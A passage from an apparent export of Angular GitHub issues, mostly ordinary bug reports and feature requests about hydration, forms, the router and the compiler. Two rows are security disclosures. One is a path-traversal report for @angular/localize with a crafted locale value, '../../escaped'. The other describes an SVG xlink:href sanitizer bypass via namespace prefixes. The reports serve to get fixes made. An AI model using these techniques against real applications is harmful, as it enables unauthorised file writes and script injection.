contributing-docs/using-fixup-commits.md
skills/dev-skills/angular-new-app/SKILL.md


### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

Accurate, well-written documentation free of spelling and grammar errors.

### Describe the actions that led you to experience the problem

Reading through contributing docs, adev content guides, and agent skills documentation files.

### Describe what you want to experience that would fix the problem

Fix all identified typos and grammar issues across the affected files. A PR with the fixes is ready to submit.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is... [TRUNCATED]","area: docs,gemini-triaged",2026-03-29T08:59:04Z,2026-04-09T09:24:29Z,2
angular/angular,4162207798,hydration throw error with ng-content,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

when I create ng-template with

```ts
  create() {
    let injector = signal<Injector | undefined>(undefined);
    let ref = this.tempRef().createEmbeddedView({ value$: injector });
    let compRef = this.viewRef.createComponent(WrapperCmp, { projectableNodes: [ref.rootNodes] });
    injector.set(compRef.injector);
  }
```

work on `server` mode will throw error

```log
Error: NG0503: During serialization, Angular detected DOM nodes that were created outside of Angular context and provided as projectable nodes (likely via `ViewContainerRef.createComponent` or `createComponent` APIs). Hydration is not supported for such cases, consider refactoring the code to avoid this pattern or using `ngSkipHydration` on the host element of the component.

<app-root>
  …
  <!-- container -->
  <app-wrapper>…</app-wrapper>  <-- AT THIS LOCATION
  …
</app-root>

Note: attributes are only displayed to better represent the DOM but have no effect on hydration mismatches.

 Find more at https://v21.angular.dev/errors/NG0503
    at unsupportedProjectionOfDomNodes (C:\code\my-project\hydration-test\.angular\cache\21.2.5\hydration-test\vite\deps_ssr\chunk-VPZWV425.js:19498:10)
    at serializeLView (C:\code\my-project\hydration-test\.angular\cache\21.2.5\hydration-test\vite\deps_ssr\chunk-VPZWV425.js:34147:17)
    at serializeLContainer (C:\code\my-project\hydration-test\.angular\cache\2... [TRUNCATED]","area: core,area: server,core: hydration",2026-03-29T02:01:53Z,2026-04-29T23:09:17Z,1
angular/angular,4151191829,Let component know if output has listeners,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

It would be great if we know if an output is in use. Otherwise we need a seperate input.

### Proposed solution

```ts
public close = output<void>();
```

```html
@if (close.hasListener) {
  <!-- Close button here with (click)=""close.emit()"" -->
}
```

### Workaround

```ts
public get hasCloseListener(): boolean {
  return (this.close as any).listeners?.length > 0;
}
```

```html
@if (hasCloseListener) {
  <!-- Close button here -->
}
```

But `any` should be avoided! And I would not access the array, therefore a getter to let the array private. Why not let me know if my output has a listener? Less code is welcome.

Currently on Angular 19","area: core,gemini-triaged",2026-03-27T10:01:09Z,2026-03-27T10:27:44Z,2
angular/angular,4149631738,Path Traversal in `@angular/localize` Translation Output via Malicious Locale Field,"### Which @angular/* package(s) are the source of the bug?

localize

### Is this a regression?

No

### Description

This was first submitted through the security disclosure form but was not deemed high enough to warrant an address, and I was asked to report it as a regular bug.

The `localize-translate` CLI tool uses the `locale` field from translation files to expand the `{{LOCALE}}` marker in the `--outputPath` pattern. The locale value is concatenated directly into the filesystem path without any validation, so a translation file with a locale like `../../escaped` causes output to be written outside the configured output directory.

The root cause is in `getOutputPathFn()`, which builds the output path via simple string concatenation:

```javascript
function getOutputPathFn(fs2, outputFolder) {
  const [pre, post] = outputFolder.split(""{{LOCALE}}"");
  return post === void 0
    ? (_locale, relativePath) => fs2.join(pre, relativePath)
    : (locale, relativePath) => fs2.join(pre + locale + post, relativePath);
}
```

`locale` is spliced into the path with no check for `..`, `/`, `\`, or any other non-locale characters. The resulting path is then passed to `fs.writeFile()`, which happily writes wherever the resolved path points.

When using the documented pattern `-o dist/{{LOCALE}}` and a translation file contains `""locale"": ""../../escaped""`, the output resolves to `../escaped/` instead of staying inside `dist/`. This is unexpected -- developers rely on `-o` to confine al... [TRUNCATED]","area: i18n,security,gemini-triaged",2026-03-27T05:45:51Z,2026-03-30T10:15:28Z,1
angular/angular,4148538628,Incomplete Fix for CVE-2026-22610: Namespace Prefix Bypass and Missing SVG Elements in Security Schema,"### Which @angular/* package(s) are the source of the bug?

Compiler

### Is this a regression?

No

### Description

## IMPORTANT NOTE: GOOGLE VRP TEAM ACCEPTED THIS REPORT AS A PUBLIC ISSUE

## Summary

The patch for CVE-2026-22610 / GHSA-jrmj-c5cx-3cw6 added `script|href` and `script|xlink:href` to the `RESOURCE_URL` security context. The fix uses exact string matching throughout the pipeline — both in the compiler's `SECURITY_SCHEMA` lookup and in the runtime's `getUrlSanitizer()`. This creates two gaps:

1. **Namespace prefix bypass**: The schema matches the literal string `xlink:href`. An SVG template can declare any prefix for the `http://www.w3.org/1999/xlink` namespace (e.g., `xmlns:s=""http://www.w3.org/1999/xlink""`). Setting `[attr.s:href]` resolves to the same namespace in the DOM but doesn't match `xlink:href` in the schema, so `securityContext()` returns `NONE`.

2. **Missing SVG elements**: Only `<script>` was added to the schema. Other SVG elements that accept `xlink:href` for resource loading — `<use>`, `<image>`, `<feImage>` — are not in the schema at all. Their `xlink:href` attributes get `SecurityContext.NONE` and bypass sanitization entirely.

## Product & Version

- **Package**: `@angular/compiler`, `@angular/core`
- **Tested on**: Angular `21.1.0+` (latest `main`, commit `8de0d25ffa`, post-CVE-2026-22610 fix)
- **Fix commits present**: `91dc91bae4`, `26cdc53d9c`, `c2c2b4aaa8` — all titled ""fix(core): sanitize sensitive attributes on SVG script elements""
... [TRUNCATED]","security,area: security,gemini-triaged",2026-03-27T01:59:16Z,2026-03-27T08:35:41Z,6
angular/angular,4148416051,Support 'when' in configuration object for all the built-in validators,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Some built-in validators (such as required) support ""when"" in the configuration. Some (e.g minLength) don't




### Proposed solution

To be consistent, all built-in validators should support ""when""

### Alternatives considered

Alternative is to use ApplyWhen
But code become cluttered if i use ApplyWhen for each and every validator that does **not** support ""when"", assuming each validator's condition logic is different","area: forms,forms: signals",2026-03-27T01:24:22Z,2026-03-27T01:33:38Z,2
angular/angular,4145101138,reflectComponentType does not detect hostDirective inputs,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

The `ComponentMirror` returned from `reflectComponentType` lists only inputs delared on the passed component type, inputs from host directives of that component are ignored.
Given directive composition is an explicit feature of Angular, the `ComponentMirror` should include all of the component's inputs.

### Please provide a link to a minimal reproduction of the bug

https://github.com/PatrickLasota/angular-reflectComponentType-demo

### Please provide the exception or error you saw

```true
Running `npm test` on the attached project:

- Expected
+ Received

  [
    {
      ""isSignal"": false,
-     ""propName"": ""inputPropName"",
-     ""templateName"": ""inputPropName"",
-   },
-   {
-     ""isSignal"": false,
-     ""propName"": ""barInputProp"",
-     ""templateName"": ""barInputProp"",
+     ""propName"": ""inputProp"",
+     ""templateName"": ""inputProp"",
    },
  ]
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.2
Angular           : 21.2.4
Node.js           : 20.19.3
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.2            │ ^21.2.2           │
│ @an... [TRUNCATED]","area: core,gemini-triaged",2026-03-26T15:37:17Z,2026-03-26T15:42:09Z,1
angular/angular,4143696914,Angular Elements lost from view when reusing a detached component instance,"### Which @angular/* package(s) are the source of the bug?

elements

### Is this a regression?

No

### Description

Angular Components that are converted into Angular elements, and used as elements within another component, seems to be lost from view (and / or the Component Ref), when a component associated with a route is unmounted and cached for reusablity.

I had the following scenario -  The application makes use of a custom route reuse strategy which caches component instances on a map identified by a key derived from the route. This cached instance of the component is used whenever the users revisits a route after they have navigated away.

There are no issues when the cached component involves either static html, another Angular Component, or a native custom Web element, where all the states / DOM nodes are preserved correctly.

This is not the case however for Angular Components converted to custom Elements, and used as a custom element within the template of the component that is being unmounted. 

The attached stackblitz shows the 4 scenarios outlined above in two components tied to two sepearate routes 
- static elements
- Angular Compoonent used within the template
- Custom Web element
- Angular Component converted to an Angular element, and used within the template

The latter is lost when revisiting a page because it is no longer present on the detatched component.

To replicate the issue, open the stackblitz, go to page 1, go to page 2, go to page 1 again (yo... [TRUNCATED]","area: elements,gemini-triaged",2026-03-26T12:59:55Z,2026-03-30T15:45:09Z,2
angular/angular,4142093948,Syntax sugar for deferred loading inside for,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

A common template pattern today is nesting `@defer` inside `@for` for per-item lazy rendering:

```html
@for (example of examples; track example) {
  @defer (on viewport) {
    <my-component [example]=""example"" />
  } @placeholder {
    <div>Large component placeholder</div>
  }
}
```

This is explicit, but fairly verbose for a very common use case.

I would like to propose a shorthand syntax

### Proposed solution

```html
@for (example of examples; track example; defer on viewport) {
  <my-component [example]=""example"" />
}
```

```html
@for (example of examples; track example; defer on viewport) {
  <my-component [example]=""example"" />
} @placeholder {
  <div>Large component placeholder</div>
}
```

or

```html
@for (example of examples; track example; defer(on viewport)) {
  <my-component [example]=""example"" />
} @defer:placeholder {
  <div>Large component placeholder</div>
}
```

### Alternatives considered

This proposal does not require changing the runtime semantics of `@for`.

The idea is to treat it purely as syntactic sugar for an already valid and existing pattern:

```html
@for (item of items; track item; defer on viewport) {
  <my-component [item]=""item"" />
}
```

would be desugared by the template parser/compiler into:

```html
@for (item of items; track item) {
  @defer (on viewport) {
    <my-component [item]=""item"" />
  }
}
```

In other words, the s... [TRUNCATED]","area: compiler,gemini-triaged",2026-03-26T09:17:44Z,2026-03-26T11:08:20Z,2
angular/angular,4140456883,Route-Level Async Initializer for Runtime Configuration (Microfrontends / Module Federation),"### Which @angular/* package(s) are relevant/related to the feature request?


## Problem

In microfrontend architectures using Module Federation, Angular
applications often expose either routes or standalone components from
remote builds.

A common real-world requirement is to **fetch runtime configuration from
a backend before initializing routes or components** (e.g., feature
flags, dynamic route definitions, environment-specific endpoints).

Currently, Angular provides:

-   `APP_INITIALIZER` --- only runs at application bootstrap (too early
    / global)
-   Route **guards** and **resolvers** --- run **after route matching**
-   Route **providers** --- scoped DI, but no async blocking mechanism

This creates a gap when:

-   Routes depend on async configuration
-   Routes must be dynamically constructed at runtime
-   Application must support deep linking (page refresh on nested
    routes)

------------------------------------------------------------------------

## Current Limitation

If routes are built dynamically from fetched configuration:

-   On page refresh (deep link), Angular router attempts to match routes
    **before configuration is loaded**
-   Since routes are not yet registered → navigation falls through to
    wildcard (**404**)

Guards/resolvers do not solve this because:

-   They execute **after route matching**
-   They cannot prevent router from failing to recognize a route

`APP_INITIALIZER` is also not suitable because:

-   It is global (not ro... [TRUNCATED]","area: router,gemini-triaged",2026-03-26T04:23:58Z,2026-04-03T15:19:26Z,4
angular/angular,4132004588,"Signal Forms / FormValueControl violates ControlValueAccessor contract by calling writeValue back after onChange, causing infinite loop","### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Signal forms break the one-way `ControlValueAccessor` contract by calling `writeValue` back on a CVA component after that component called `onChange`, directly contradicting Angular's own documentation.

### The documented contract

Angular's official documentation at angular.dev states clearly:

> **`writeValue(value: any): void`**
> Writes a new value to the element.
> This method is called by the forms API to write to the view when **programmatic changes from model to view** are requested.

This defines a strict one-way contract:

- `writeValue(value)` — called by the **form** for programmatic, external, model-to-view changes only
- `onChange(value)` — called by the **component** when the user changes the value (view-to-model)

These two directions must never form a loop. Angular's classic `FormControl` correctly respects this — calling `onChange` updates the `FormControl`'s internal value but does **not** trigger `writeValue` back on the CVA. Signal forms do not respect this.

### What Signal forms does wrong

When a CVA component bound via `[formField]` calls `onChange(value)`, the Signal form updates its internal signal. Because Signal form has no concept of **value origin** — it does not distinguish between a programmatic external `set()` and a value that just arrived from the CVA via `onChange` — it reactively pushes the value back to `writeValue` on the ... [TRUNCATED]","area: forms,forms: signals,gemini-triaged",2026-03-25T02:52:10Z,2026-04-07T21:21:46Z,7
angular/angular,4130953174,test,this is a test,,2026-03-24T22:08:13Z,2026-03-24T22:08:19Z,1
angular/angular,4127602911,Allow “any host” configuration for AngularNodeAppEngine in SSR,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

### Summary

Currently, `AngularNodeAppEngine` requires `allowedHosts` to be a fixed, static list of hostnames (or subdomain patterns like `*.example.com`). There is no way to allow all hostnames dynamically (e.g., using `'*'` or `'all'`), which blocks legitimate multi-tenant applications where new domains can be created at runtime.

### Use Case

Applications with dynamic or user-provided domains (for example, Shopify-like multi-tenant setups where each shop can have its own domain) cannot use Angular SSR unless the allowed host list is updated on every request. This forces one of the following:

- Creating a new `AngularNodeAppEngine` per request (less performant, heavier memory usage)
- Disabling SSR altogether


### Proposed solution


Introduce an new value for this `allowedHosts` option such as:

```ts
allowedHosts: ['*']
```

This way developers would opt out knowingly, taking responsibility for any security implications.
Default behavior remains unchanged (strict host validation).

### Alternatives considered


The only alternative that has worked reliably so far is creating a new `AngularNodeAppEngine` instance on every request with a dynamic `allowedHosts` value created from the value of `req.headers.host`. While this approach functions correctly, it is less performant and it seems to me that it goes against the intended use of `AngularNodeAppEngine`, which ... [TRUNCATED]","area: server,gemini-triaged",2026-03-24T12:40:32Z,2026-03-24T12:53:09Z,1
angular/angular,4126261114,Support Typescript 6,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

In https://github.com/angular/angular/pull/67038 you support typescript 6. in which version will this be released and approximately when? unfortunately the PR is locked so I cannot ask there

### Proposed solution

add version tag to this issue for transparency

### Alternatives considered

Stay intransparent ans wait for it to work again","area: compiler,gemini-triaged",2026-03-24T08:58:30Z,2026-03-24T09:22:01Z,2
angular/angular,4122381380,Add a Readme.md in dev-skills folder,"### Describe the problem that you experienced

As Agent Skills are now published in the dedicated angular/skills repo, GitHub exposes the CoC as there is no related Readme.md file in the project.

Creating one in the dev-skills folder (then meant to be published) would be great to explain the repo purpose and on how to install the Agent skills for beginners.

### Enter the URL of the topic with the problem

https://github.com/angular/skills

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: dev-infra,gemini-triaged",2026-03-23T17:12:46Z,2026-04-03T15:18:36Z,3
angular/angular,4116203034,Mismatch between skills.sh ‘angular-developer’ skill and available skills in Angular repository,"### Describe the problem that you experienced

The ""angular-developer"" skill listed on skills.sh cannot be installed using the skills CLI for the Angular repository.

Running the documented command results in ""No matching skills found"", even though the skill is listed on the website.

### Enter the URL of the topic with the problem

https://skills.sh/angular/angular/angular-developer

### Describe what you were looking for in the documentation

I was trying to install and use the ""angular-developer"" skill for the Angular repository using the skills CLI, as described on the skills.sh page.

### Describe the actions that led you to experience the problem

1. Visited the skills.sh page for the Angular ""angular-developer"" skill
2. Ran the command:
   npx skills add https://github.com/angular/angular --skill angular-developer
3. Observed the CLI output after cloning the repository

### Describe what you want to experience that would fix the problem

The CLI should successfully find and install the ""angular-developer"" skill.

Alternatively, if the skill is not actually available in the Angular repository, the documentation or skills.sh listing should be updated to reflect the correct available skills.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true
No matching skills found for: angular-developer

Available skills:
- adev-writing-guide
- PR Review
- reference-compiler-cli
- ref... [TRUNCATED]","area: dev-infra,gemini-triaged",2026-03-22T14:31:23Z,2026-03-24T19:28:15Z,2
angular/angular,4113150174,SSR default cache strategy may cause ChunkLoadError after deployment,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

### Is this a feature request?

Yes

---

### Description

In SSR Angular applications, a common production issue happens after deploying a new version:

Users who still have a previous version loaded in the browser may encounter a ChunkLoadError when navigating, due to stale HTML referencing outdated hashed bundles.

This typically happens because the server returns HTML that is cached or reused, while the underlying JS chunks have changed.

This is not a bug in Angular itself, but rather a missing default or guidance regarding cache strategy for SSR HTML responses.

---

### Current behavior

- Angular SSR does not define any default cache headers for HTML responses
- Developers must manually configure cache headers
- If misconfigured, this can lead to:
  - ChunkLoadError
  - blank screens
  - broken navigation after deployment

---

### Expected behavior

""Angular SSR could provide a safer default or guidance for HTML caching strategy.

For example:

- Set `Cache-Control: no-cache, no-store, must-revalidate` by default for SSR HTML responses

OR

- Clearly document recommended cache strategies for SSR applications

---

### Why this matters

- This issue is very common in real-world production environments
- It affects application stability after deployments
- It is difficult to diagnose, especially for less experienced developers
- The fix is simple but not obviou... [TRUNCATED]","area: server,gemini-triaged",2026-03-21T17:38:53Z,2026-04-02T13:50:38Z,3
angular/angular,4106734831,Signal froms: Custom form schema metadata behaviour,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

I like how the configuration of validators for a signal form field works with the declarative approach by adding to a fields metadata.
In fact, I would like this for my own purpose.

I am currently implementing a ""queryParameterSync"" metadata definition for a form field. e,g, ` querySync(schemaPath.search, stringQuerySerializer.primitive)`
Which will define that this field should be synced with url query parameters. This is useful for filter forms to have a shareable link.
```ts
export const QUERY_PARAM_SYNC_SERIALIZER =
  createMetadataKey<[BaseQueryParamSerializer, string | undefined]>();

export function querySync<TValue, TPathKind extends PathKind = PathKind.Root>(
  path: SchemaPath<TValue, SchemaPathRules.Supported, TPathKind>,
  serializer: BaseQueryParamSerializer,
  queryParamName?: string,
): void {
  metadata(path, QUERY_PARAM_SYNC_SERIALIZER, () => [
    serializer,
    queryParamName,
  ]);
}
```

Defining my own function that adds the metadata to the form field (`querySync`) is no problem. Also I have it working from end to end.
The only thing that bothers me is one extra step you currently have to take when using a custom form field metadata to add behavior to it. You have to make a separate call to look for fields having a certain metadata key and act on them.

``` ts
// register call
const myForm = form(model, (schemaPath) => {
        required(schemaPath.sea... [TRUNCATED]","area: forms,forms: signals,gemini-triaged",2026-03-20T09:08:15Z,2026-05-05T17:32:57Z,6
angular/angular,4101288335,FormArray.value aggregates values of disabled FormControls,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

(Not actually sure, but the field is mandatory.)

### Description

The docs for _FormArray_’s [_value_ property](https://angular.dev/api/forms/FormArray#value) says (emphasis mine):

> The current value of the control.
>
> […]
> - For a FormArray, the values of **enabled** controls as an array.

According to that, the following code snippet should log an empty array

```typescript
const formArray = new FormArray([
  new FormControl(1)
])
formArray.disable()
console.log(formArray.value)
```

However, it logs `[1]`.

### Please provide a link to a minimal reproduction of the bug

https://github.com/mwaibel-go/form-array-disabled-value-repro

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.3
Angular           : 21.2.5
Node.js           : 24.13.0
Package Manager   : npm 11.11.1
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.3            │ ^21.2.3           │
│ @angular/cli              │ 21.2.3            │ ^21.2.3           │
│ @angular/common           │ 21.2.5            │ ^21.2.0           │
│ @angular/compiler         │ 21.... [TRUNCATED]","area: forms,area: docs",2026-03-19T12:12:53Z,2026-04-03T18:22:35Z,6
angular/angular,4093123666,Angular does not remove component from the DOM with (animate.leave) hook after list reordering since 21.2,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

Please see reproduction link

If element in the list with (animate.leave) hook was reordered - Angular does not remove them from the DOM 

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/angular-fiddle-gqwykbhz-zvnrytfg

### Please provide the exception or error you saw

```true
No exception
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular/core 21.2.4
```

### Anything else?

Does not reproduces on 21.1 version","area: core,state: has PR,core: animations,gemini-triaged",2026-03-18T06:48:46Z,2026-03-19T22:52:00Z,5
angular/angular,4087740573,No error shown for unknown element if equipped with a directive,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

### Problem description:

When component import inside a  standalone component is missing, but an already imported directive is used on the corresponding element the angular compiler does not raise an NG8001: 'app-xyz' is not a known element' error. 

### Steps to reproduce:

1. Open https://stackblitz.com/edit/ccyebka1?file=src%2Fmain.ts
2. Observe `Second` is not imported but used in the template
3. Error is not shown since the `MyDirective` is present on `app-second`
4. Remove `MyDirective` from `app-second` and the error is shown

### Expected behavior:

Compiler should raise the error NG8001 even if the directive on the element is present

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/ccyebka1?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
No error
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0
Angular           : 21.2.0
Node.js           : 24.13.0
Package Manager   : npm 11.6.2
Operating System  : darwin arm64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build                    │ 21.2.0            │ 21.2.0... [TRUNCATED]","area: compiler,gemini-triaged",2026-03-17T10:51:59Z,2026-03-17T10:53:59Z,2
angular/angular,4083977851,Empty named outlet behaving differently than not empty outlet,"### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

No

### Description

Having multiple routes with an empty path, but with different outlets, throws a NoMatch error while it has a valid route. Having the following routes will produce the error.

```ts
export const ROUTES: Routes = [
  {
    path: '',
    component: AppComponent,
    children: [
      {
        path: '',
        outlet: 'primary',
        component: PrimaryComponent,
        children: [
          {
            path: 'component',
            component: FeatureAComponent
          }
        ]
      },
      {
        path: '',
        outlet: 'secondary',
        component: SecondaryComponent,
        children: [
          {
            path: 'component-copy',
            component: FeatureBComponent
          }
        ]
      }
    ]
  },
];
```

From the example above, a debate could be initiated with the following arguments, making this a non-issue and working by design.

---

**Argument 1:**
- Sibling routes shouldn't have the same path (in this case, an empty path) because the router works with a first win strategy, meaning that the first route to match is the one that is attempted to be activated.

**Counterargument:**
- If both routes have the same path but different outlets, it works. See the app `EquallyNamedOutletsApp` in the minimum reproduction example.

---

**Assumption 2:**
- Empty named outlets with an empty primary outlet are not supported.

**Counte... [TRUNCATED]","area: router,gemini-triaged",2026-03-16T18:02:54Z,2026-04-01T09:48:44Z,5
angular/angular,4083468639,Angular compiler strips | null from signal input types in partial compilation .d.ts output,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

Yes

### Description

When using input.required<T | null>() or input<T | null>() in a library built with ng-packagr (partial compilation mode), the Angular compiler strips | null from the generated .d.ts files.

Source:
 ```ts
a = input.required<T | null>();
b = input<T | null>();
```

Expected .d.ts (matches plain tsc --emitDeclarationOnly):
 ```ts
a: InputSignal<T | null>;
b: InputSignal<T | null | undefined>;
```

Actual .d.ts from Angular compiler (partial mode):
 ```ts
  a: _angular_core.InputSignal<T>; 
  b: _angular_core.InputSignal<T>;
```

Investigation: 
I intercepted the in-memory .d.ts content from ng-packagr's file cache (before rollup-plugin-dts bundling) and confirmed | null was already missing at that stage. Plain tsc --emitDeclarationOnly on the same source produces correct types.


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular 21.2.x, ng-packagr 21.2.0, TypeScript 5.9.3
```

### Anything else?

A workaround is to force the type and not rely on type inference.
Example: 
 ```ts
a: InputSignal<T | null> = input<T| null>();
```","needs reproduction,area: compiler,gemini-triaged",2026-03-16T16:18:05Z,2026-03-16T19:27:27Z,4
angular/angular,4082516764,Signal Forms: Type of FieldState.fieldTree seems wrong?,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

The type of `FieldState<TValue, TKey>`'s ""fieldTree"" property is `FieldTree<unknown, TKey>`.

This seems like it should be `FieldTree<TValue, TKey>`, and perhaps forgotten (?).

### Proposed solution

```ts
interface FieldState<TValue, TKey extends string | number = string | number> {
    readonly fieldTree: FieldTree<TValue, TKey>;
```

### Alternatives considered

Users could always `(fieldState.fieldTree as FieldTree<MyType, strinh | number>)`, but... Why?","area: forms,gemini-triaged",2026-03-16T13:32:01Z,2026-03-16T22:41:52Z,3
angular/angular,4082100617,Project no longer compiles after upgrading from 21.2.2 to 21.2.3,"### Which @angular/* package(s) are the source of the bug?

compiler-cli

### Is this a regression?

Yes

### Description

After upgrading my project to version 21.2.3, the compilation fails with the following error.

<img width=""1103"" height=""59"" alt=""Image"" src=""https://github.com/user-attachments/assets/bfc2e7b4-b0c7-460d-ba79-b9372bcdec98"" />

After a few minutes of debugging, I concluded it was caused by the K in this generic.
<img width=""989"" height=""159"" alt=""Image"" src=""https://github.com/user-attachments/assets/600706ce-5c17-4888-8397-3d8e9b582c1a"" />

Here are two StackBlitz reproductions with the exact same code:

21.2.2 (working)
https://stackblitz.com/edit/stackblitz-starters-hbe4upra?file=package.json

21.2.3 (broken)
https://stackblitz.com/edit/stackblitz-starters-mtfblaok?file=package.json

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-mtfblaok?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
✘ [ERROR] Unsupported WrappedNodeExpr in TypeTranslatorVisitor: TypeParameter [plugin angular-compiler]
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 21.2.3
Node: 24.14.0
Package Manager: npm 11.9.0
```

### Anything else?

_No response_","area: compiler,gemini-triaged",2026-03-16T12:10:36Z,2026-03-17T19:21:29Z,27
angular/angular,4072085993,inject-migration fails if there is a tsconfig.spec.json but no test files,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

The inject-migration (`generate @angular/core:inject`) currently [throws an error if it any of the tsconfig file it discovers do not reference any source files](https://github.com/angular/angular/blob/17d8a88ddcce3f850b8ab72252e05720e1f3a8be/packages/core/schematics/ng-generate/inject-migration/index.ts#L63). As a result, apps that have a test setup but do not have any tests yet cannot run the migration.

The control-flow-migration for instance works differently: [It only logs a warning if it did not find any files in all the tsconfig files combined](https://github.com/angular/angular/blob/17d8a88ddcce3f850b8ab72252e05720e1f3a8be/packages/core/schematics/ng-generate/control-flow-migration/index.ts#L76). I think it would make sense to normalize towards this behavior.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Running: npx @angular/cli@21 generate @angular/core:inject --defaults
Could not find any files to migrate under the path /workdir/client/. Cannot run the inject migration.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: migrations,gemini-triaged",2026-03-13T16:19:34Z,2026-03-19T01:12:06Z,4
angular/angular,4069284775,double escaped backtick in template literal string in template html  breaks from @angular/ v21.2.2,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

```html
@let versionInfo = `Version: \`${info}\``;
<div>{{ versionInfo }}</div>
```

double escaped backtick in template html cause a error with version `21.2.2` and later but works with version `21.2.1`

the scenario is that I just want to show some markdown string literals in the template html so I have to escape the backtick symbol to make it a code block for markdown

and if I remove the second escaped backtick it works again with version `21.2.2`

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-yviu1qjq

and below is the worked link with the same codes but with version `21.2.1`

https://stackblitz.com/edit/stackblitz-starters-ntqt2vnt

### Please provide the exception or error you saw

```true
TS2304: Cannot find name '_t1'. [plugin angular-compiler]
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.2
Angular           : 21.2.2
Node.js           : 22.22.0
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.2            │ 21.2.2            │
│ @angular/cli              │ 21.... [TRUNCATED]","area: compiler,gemini-triaged",2026-03-13T06:47:17Z,2026-03-16T16:47:28Z,2
angular/angular,4066450554,Mobile layout shift in API Reference,"### Describe the problem that you experienced

On https://angular.dev/api, the filter chips in mobile move too much when toggled, producing a layout shift.

Also, the text input and package select appear to have different width in mobile, which makes the filter controls feel visually misaligned. 

See video


https://github.com/user-attachments/assets/c69fa966-5e27-4e1b-8736-2bc24188959c



We may need to adjust the styles in [`api-reference-list.component.scss`](https://github.com/angular/angular/blob/main/adev/src/app/features/references/api-reference-list/api-reference-list.component.scss) to address this.
 ",area: docs-infra,2026-03-12T18:24:28Z,2026-04-13T08:24:42Z,2
angular/angular,4061136827,Scoped Child leave animations,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

`animate.leave` is strict in that leave animations only happen on the node being removed. No animations are triggered for elements that are children of the node being removed. Many users are confused by this, since it's common to write something like the following:

```
@if (show) {
  <div class=""wrapper-for-flexbox"">
    <div class=""item"" animate.leave=""fade"">...</div>
  </div>
}
```

However this doesn't work, because the `wrapper-for-flexbox` div is the node being removed. It would be nice to have child animations be triggered in this case.

However we don't want every child animation under every node to trigger animations. This is too global and results in a queue of child animations firing on any route navigation. We'll want to scope this behavior, likely to the component template.

### Proposed solution

As mentioned in the description, have child animations fire scoped within the template of the component being removed, and do not cross component boundaries.

### Alternatives considered

Leave the animation behavior as strict as it is.","area: core,state: has PR,core: animations",2026-03-11T22:54:43Z,2026-03-13T19:01:58Z,2
angular/angular,4060887804,ngclass-to-class migration leaves dangling comma in standalone imports,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

### Problem

The `@angular/core:ngclass-to-class` migration leaves a dangling comma in the component decorator when removing the last element from the `imports` array of a standalone component. For example, a component defined as:

```typescript
@Component({
  ...
  imports: [CommonModule],
})
```

after migration, if `CommonModule` is removed (e.g. no longer needed because ngClass is gone), the result is:

```typescript
@Component({
  ...
